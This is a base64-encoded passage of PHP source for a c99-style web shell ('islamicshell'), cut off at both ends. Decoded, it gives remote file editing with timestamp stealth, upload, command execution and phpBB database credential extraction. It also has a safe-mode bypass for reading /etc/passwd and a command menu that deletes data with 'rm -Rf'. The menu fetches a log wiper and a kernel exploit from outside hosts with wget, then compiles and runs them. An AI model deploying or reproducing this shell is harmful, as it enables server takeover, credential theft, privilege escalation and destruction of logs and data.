VwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0nIi51cmxlbmNvZGUoJGYpLiInO2RvY3VtZW50LnRvZG8uZnQudmFsdWU9J2luZm8nO2RvY3VtZW50LnRvZG8uYmFzZTY0LnZhbHVlPSczJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPitjaHVuaytxdW90ZXM8L2E+XSZuYnNwOzwvbm9icj4NCjxub2JyPls8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZic7ZG9jdW1lbnQudG9kby5mLnZhbHVlPSciLnVybGVuY29kZSgkZikuIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0naW5mbyc7ZG9jdW1lbnQudG9kby5iYXNlNjQudmFsdWU9JzQnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+RGVjb2RlPC9hPl0mbmJzcDs8L25vYnI+DQo8UD4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJodG1sIikNCiAgew0KICAgaWYgKCR3aGl0ZSkge0BvYl9jbGVhbigpO30NCiAgIGVjaG8gJHI7DQogICBpZiAoJHdoaXRlKSB7Yzk5c2hleGl0KCk7fQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImluaSIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHBhcnNlX2luaV9maWxlKCRkLiRmLFRSVUUpKTsgZWNobyAiPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJwaHBzZXNzIikNCiAgew0KICAgZWNobyAiPHByZT4iOw0KICAgJHYgPSBleHBsb2RlKCJ8Iiwkcik7DQogICBlY2hvICR2WzBdLiI8YnI+IjsNCiAgIHZhcl9kdW1wKHVuc2VyaWFsaXplKCR2WzFdKSk7DQogICBlY2hvICI8L3ByZT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJleGUiKQ0KICB7DQogICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOw0KICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgJGV4dCA9ICRleHRbJGNdOw0KICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAkcmZ0ID0gIiI7DQogICBmb3JlYWNoKCRleGVmdHlwZXMgYXMgJGs9PiR2KQ0KICAgew0KICAgIGlmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fQ0KICAgfQ0KICAgJGNtZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpOw0KICAgZWNobyAiPGI+RXhlY3V0ZSBmaWxlOjwvYj48Zm9ybSBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y21kPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJjbWRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkY21kKSsyKS4iXCI+PGJyPkRpc3BsYXkgaW4gdGV4dC1hcmVhPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+PC9mb3JtPiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gInNkYiIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHIpKSk7IGVjaG8gIjwvcHJlPiI7fQ0KICBlbHNlaWYgKCRmdCA9PSAiY29kZSIpDQogIHsNCiAgIGlmIChlcmVnKCJwaHAiLiJCQiAyLiguKikgYXV0by1nZW5lcmF0ZWQgY29uZmlnIGZpbGUiLCRyKSkNCiAgIHsNCiAgICAkYXJyID0gZXhwbG9kZSgiXG4iLCRyKTsNCiAgICBpZiAoY291bnQoJGFyciA9PSAxOCkpDQogICAgew0KICAgICBpbmNsdWRlKCRkLiRmKTsNCiAgICAgZWNobyAiPGI+cGhwQkIgY29uZmlndXJhdGlvbiBpcyBkZXRlY3RlZCBpbiB0aGlzIGZpbGUhPGJyPiI7DQogICAgIGlmICgkZGJtcyA9PSAibXlzcWw0IikgeyRkYm1zID0gIm15c3FsIjt9DQogICAgIGlmICgkZGJtcyA9PSAibXlzcWwiKSB7ZWNobyAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGRidXNlcikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkZGJwYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGRiaG9zdCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSczMzA2Jztkb2N1bWVudC5zcWwuc3FsX2RiLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGRibmFtZSkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpO1wiPjxiPjx1PkNvbm5lY3QgdG8gREI8L3U+PC9iPjwvYT48YnI+PGJyPiI7fQ0KICAgICBlbHNlIHtlY2hvICJCdXQsIHlvdSBjYW4ndCBjb25uZWN0IHRvIGZvcnVtIHNxbC1iYXNlLCBiZWNhdXNlIGRiLXNvZnR3YXJlPVwiIi4kZGJtcy4iXCIgaXMgbm90IHN1cHBvcnRlZCBieSBpc2xhbWljc2hlbGwuIFBsZWFzZSwgcmVwb3J0IHVzIGZvciBmaXguIjt9DQogICAgIGVjaG8gIlBhcmFtZXRlcnMgZm9yIG1hbnVhbCBjb25uZWN0Ojxicj4iOw0KICAgICAkY2ZndmFycyA9IGFycmF5KCJkYm1zIj0+JGRibXMsImRiaG9zdCI9PiRkYmhvc3QsImRibmFtZSI9PiRkYm5hbWUsImRidXNlciI9PiRkYnVzZXIsImRicGFzc3dkIj0+JGRicGFzc3dkKTsNCiAgICAgZm9yZWFjaCAoJGNmZ3ZhcnMgYXMgJGs9PiR2KSB7ZWNobyBodG1sc3BlY2lhbGNoYXJzKCRrKS4iPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPGJyPiI7fQ0KICAgICBlY2hvICI8L2I+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgIH0NCiAgIH0NCiAgIGVjaG8gIjxkaXYgc3R5bGU9XCJib3JkZXIgOiAwcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDFlbTsgbWFyZ2luLXJpZ2h0OiAxZW07IG1hcmdpbi1sZWZ0OiAxZW07IGJhY2tncm91bmQtY29sb3I6ICIuJGhpZ2hsaWdodF9iYWNrZ3JvdW5kIC4iO1wiPiI7DQogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9DQogICBoaWdobGlnaHRfZmlsZSgkZC4kZik7DQogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtjOTlzaGV4aXQoKTt9DQogICBlY2hvICI8L2Rpdj4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJkb3dubG9hZCIpDQogIHsNCiAgIEBvYl9jbGVhbigpOw0KICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5maWxlc2l6ZSgkZC4kZikpOw0KICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIlwiOyIpOw0KICAgZWNobyAkcjsNCiAgIGV4aXQ7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gIm5vdGVwYWQiKQ0KICB7DQogICBAb2JfY2xlYW4oKTsNCiAgIGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L3BsYWluIik7DQogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iLnR4dFwiOyIpOw0KICAgZWNobygkcik7DQogICBleGl0Ow0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJlZGl0IikNCiAgew0KICAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgIHsNCiAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCRkLiRmKTt9DQogICAgJGZwID0gZm9wZW4oJGQuJGYsInciKTsNCiAgICBpZiAoISRmcCkge2VjaG8gIjxiPkNhbid0IHdyaXRlIHRvIGZpbGUhPC9iPiI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgIGVjaG8gIjxiPlNhdmVkITwvYj4iOw0KICAgICBmd3JpdGUoJGZwLCRlZGl0X3RleHQpOw0KICAgICBmY2xvc2UoJGZwKTsNCiAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCRkLiRmLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgICRyID0gJGVkaXRfdGV4dDsNCiAgICB9DQogICB9DQogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyKSk7DQogICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQ0KICAgaWYgKCRyb3dzID4gMzApIHskcm93cyA9IDMwO30NCiAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48aW5wdXQgbmFtZT0nYWN0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPSdmJz48aW5wdXQgbmFtZT0nZicgdHlwZT0naGlkZGVuJyB2YWx1ZT0nIi51cmxlbmNvZGUoJGYpLiInPjxpbnB1dCBuYW1lPSdmdCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nZWRpdCc+PGlucHV0IG5hbWU9J2QnIHR5cGU9J2hpZGRlbicgdmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJTYXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJyZXNldFwiIHZhbHVlPVwiUmVzZXRcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi5hZGRzbGFzaGVzKHN1YnN0cigkZCwwLC0xKSkuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIiB2YWx1ZT1cIkJhY2tcIj48YnI+PHRleHRhcmVhIG5hbWU9XCJlZGl0X3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvdGV4dGFyZWE+PC9mb3JtPiI7DQogIH0NCiAgZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+PGI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2I+PC9jZW50ZXI+Ijt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+VW5rbm93biBleHRlbnNpb24gKCIuJGV4dC4iKSwgcGxlYXNlLCBzZWxlY3QgdHlwZSBtYW51YWxseS48L2I+PC9jZW50ZXI+Ijt9DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImFib3V0Iikge2VjaG8gInIwMHQiO30NCj8+DQo8L3RkPjwvdHI+PC90YWJsZT48YSBib29rbWFyaz0ibWluaXBhbmVsIj48YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4NCjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxiPjo6IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdjbWQnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nPD9waHAgZWNobyB1cmxlbmNvZGUoJGQpOyA/Pic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiPjxiPkNvbW1hbmQgZXhlY3V0ZTwvYj48L2E+IDo6PC9iPjwvcD48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+RW50ZXI6IDwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iY21kIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNtZCk7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+U2VsZWN0OiA8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxzZWxlY3QgbmFtZT0iY21kIj48P3BocCBmb3JlYWNoICgkY21kYWxpYXNlcyBhcyAkYWxzKSB7ZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzFdKS4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMF0pLiI8L29wdGlvbj4iO30gPz48L3NlbGVjdD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+PC9mb3JtPjwvdGQ+PC90cj48L1RBQkxFPg0KPGJyPg0KPFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4NCjx0cj4NCiA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiA8YSBocmVmPSIjIiBvbmNsaWNrPSJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nc2VhcmNoJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpOyI+PGI+U2VhcmNoPC9iPjwvYT4gOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9InNlYXJjaCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZWFyY2hfbmFtZSIgc2l6ZT0iMjkiIHZhbHVlPSIoLiopIj4mbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InNlYXJjaF9uYW1lX3JlZ2V4cCIgdmFsdWU9IjEiICBjaGVja2VkPiAtIHJlZ2V4cCZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iU2VhcmNoIj48L2Zvcm0+PC9jZW50ZXI+PC9wPjwvdGQ+DQogPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogPGEgaHJlZj0iIyIgb25jbGljaz0iZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3VwbG9hZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiPjxiPlVwbG9hZDwvYj48L2E+IDo6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCIgRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJ1cGxvYWQiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkZmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1pbmlmb3JtIiB2YWx1ZT0iMSI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJVcGxvYWQiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+DQoNCjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMTE2IiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4gDQo8dHI+PHRkIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCZkPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPlNoYWRvdydzIHRyaWNrcyA6RCA8L2I+PC9hPiA6OjwvYj48L3A+PC90ZD48L3RyPiANCjx0cj4gDQo8dHI+IA0KICA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSI4MyIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+IA0KICAgIDxkaXYgYWxpZ249ImNlbnRlciI+VXNlZnVsIENvbW1hbmRzICANCiAgICA8L2Rpdj4gDQogICAgPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiZxdW90OyZndDsgDQogICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPiANCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJjbWQiPiANCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiANCiAgICAgICAgICA8U0VMRUNUIE5BTUU9ImNtZCI+IA0KICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0idW5hbWUgLWEiPktlcm5lbCB2ZXJzaW9uIA0KICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ3Ij5Mb2dnZWQgaW4gdXNlcnMgDQogICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0ibGFzdGxvZyI+TGFzdCB0byBjb25uZWN0IA0KICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iZmluZCAvYmluIC91c3IvYmluIC91c3IvbG9jYWwvYmluIC9zYmluIC91c3Ivc2JpbiAvdXNyL2xvY2FsL3NiaW4gLXBlcm0gLTQwMDAgMj4gL2Rldi9udWxsIj4NCgkJCQkJU3VpZCBiaW5zIA0KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJjdXQgLWQ6IC1mMSwyLDMgL2V0Yy9wYXNzd2QgfCBncmVwIDo6Ij5VU0VSIA0KCQkJCQlXSVRIT1VUIFBBU1NXT1JEISANCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iZmluZCAvZXRjLyAtdHlwZSBmIC1wZXJtIC1vK3cgMj4gL2Rldi9udWxsIj4NCgkJCQkJV3JpdGUgaW4gL2V0Yy8/IA0KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ3aGljaCB3Z2V0IGN1cmwgdzNtIGx5bngiPkRvd25sb2FkZXJzPyANCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iY2F0IC9wcm9jL3ZlcnNpb24gL3Byb2MvY3B1aW5mbyI+Q1BVSU5GTyANCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0ibmV0c3RhdCAtYXR1cCB8IGdyZXAgSVNUIj5PcGVuIHBvcnRzIA0KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJsb2NhdGUgZ2NjIj5nY2MgaW5zdGFsbGVkPyANCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0icm0gLVJmIj5Gb3JtYXQgYm94IChEQU5HRVJPVVMpIA0KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJ3Z2V0IGh0dHA6Ly93d3cucGFja2V0c3Rvcm1zZWN1cml0eS5vcmcvVU5JWC9wZW5ldHJhdGlvbi9sb2ctd2lwZXJzL3phcDIuYyI+DQoJCQkJCVdJUEVMT0dTIFBUMSAoSWYgd2dldCBpbnN0YWxsZWQpIA0KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSJnY2MgemFwMi5jIC1vIHphcDIiPldJUEVMT0dTIFBUMiANCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi96YXAyIj5XSVBFTE9HUyBQVDMgDQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9IndnZXQgaHR0cDovL2Z0cC5wb3dlcm5ldC5jb20udHIvc3VwZXJtYWlsL2RlYnVnL2szIj4NCgkJCQkJS2VybmVsIGF0dGFjayAoS3JhZC5jKSBQVDEgKElmIHdnZXQgaW5zdGFsbGVkKSANCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyAxIj5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDEpIA0KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL2szIDIiPktlcm5lbCBhdHRhY2sgKEtyYWQuYykgUFQyIChMMikgDQogICAgICAgICAgICAgICAgICAgIDxPUFRJT04gVkFMVUU9Ii4vazMgMyI+S2VybmVsIGF0dGFjayAoS3JhZC5jKSBQVDIgKEwzKSANCiAgICAgICAgICAgICAgICAgICAgPE9QVElPTiBWQUxVRT0iLi9rMyA0Ij5LZXJuZWwgYXR0YWNrIChLcmFkLmMpIFBUMiAoTDQpIA0KICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIFZBTFVFPSIuL2szIDUiPktlcm5lbCBhdHRhY2sgKEtyYWQuYykgUFQyIChMNSkgDQogICAgICAgICAgICAgICAgICA8L1NFTEVDVD4gDQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+IA0KICAgICAgICAmbmJzcDsgDQogICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+IA0KICAgICAgICAgIDxicj4gDQogICAgICAgIFdhcm5pbmcuIEtlcm5lbCBtYXkgYmUgYWxlcnRlZCB1c2luZyBoaWdoZXIgbGV2ZWxzIDwvZGl2PiANCiAgICA8L2Zvcm0+IA0KICAgIDwvdGQ+IA0KICA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSI4MyIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+IA0KICAgPGNlbnRlcj5LZXJuZWwgSW5mbzogPGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJodHRwOi8vZ29vZ2xlLmNvbS9zZWFyY2giPiANCiAgICAgIDxpbnB1dCBuYW1lPSJxIiB0eXBlPSJ0ZXh0IiBpZD0icSIgdmFsdWU9Ijw/cGhwIGVjaG8gd29yZHdyYXAocGhwX3VuYW1lKCkpOyA/PiI+IA0KICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2xpZW50IiB2YWx1ZT0iZmlyZWZveC1hIj4gDQogICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJybHMiIHZhbHVlPSJvcmcubW96aWxsYTplbi1VUzpvZmZpY2lhbCI+IA0KICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGwiIHZhbHVlPSJlbiI+IA0KICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaHMiIHZhbHVlPSJiN3AiPiANCiAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSJidG5HIiBWQUxVRT0iU2VhcmNoIj4gDQogICAgPC9mb3JtPjwvY2VudGVyPiANCiAgICANCiAgPC90ZD4gDQo8L3RyPjwvVEFCTEU+PGJyPiANCjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMTE2IiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMDAzMzAwDQogYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiANCjx0cj48dGQgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHAgYWxpZ249ImNlbnRlciI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21kJmQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGQpOyA/PiI+PGI+DQoJQllQYVNTIDpEIDwvYj48L2E+IDo6PC9iPjwvcD48L3RkPjwvdHI+IA0KPHRyPiANCiAgPHRkIHdpZHRoPSI0OSUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPiANCiAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPlBocCBTYWZlLU1vZGUgQnlwYXNzIChSZWFkIEZpbGVzKSANCiAgICA8L2Rpdj48YnI+IA0KICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPiANCiAgICAgIDxkaXYgYWxpZ249ImNlbnRlciI+IA0KICAgICAgRmlsZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGUiIG1ldGhvZD0iZ2V0Ij4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlJlYWQgRmlsZSI+PGJyPjxicj4gDQoJCWVnOiAvZXRjL3Bhc3N3ZDxicj4gDQogICAgICAgDQogICAgICAgDQogICAgICAgDQogICAgICAgICAgICANCiAgICAgICANCiAgICAgICANCiAgICAgIDw/IA0KICAgICAgIA0KICAgICAgZnVuY3Rpb24gcnNnX3JlYWQoKQ0KICAgIHsgICAgDQogICAgJHRlc3Q9IiI7DQogICAgJHRlbXA9dGVtcG5hbSgkdGVzdCwgImN4Iik7DQogICAgJGZpbGU9JF9HRVRbJ2ZpbGUnXTsgICAgDQogICAgJGdldD1odG1sc3BlY2lhbGNoYXJzKCRmaWxlKTsNCiAgICBlY2hvICI8YnI+VHJ5aW5nIFRv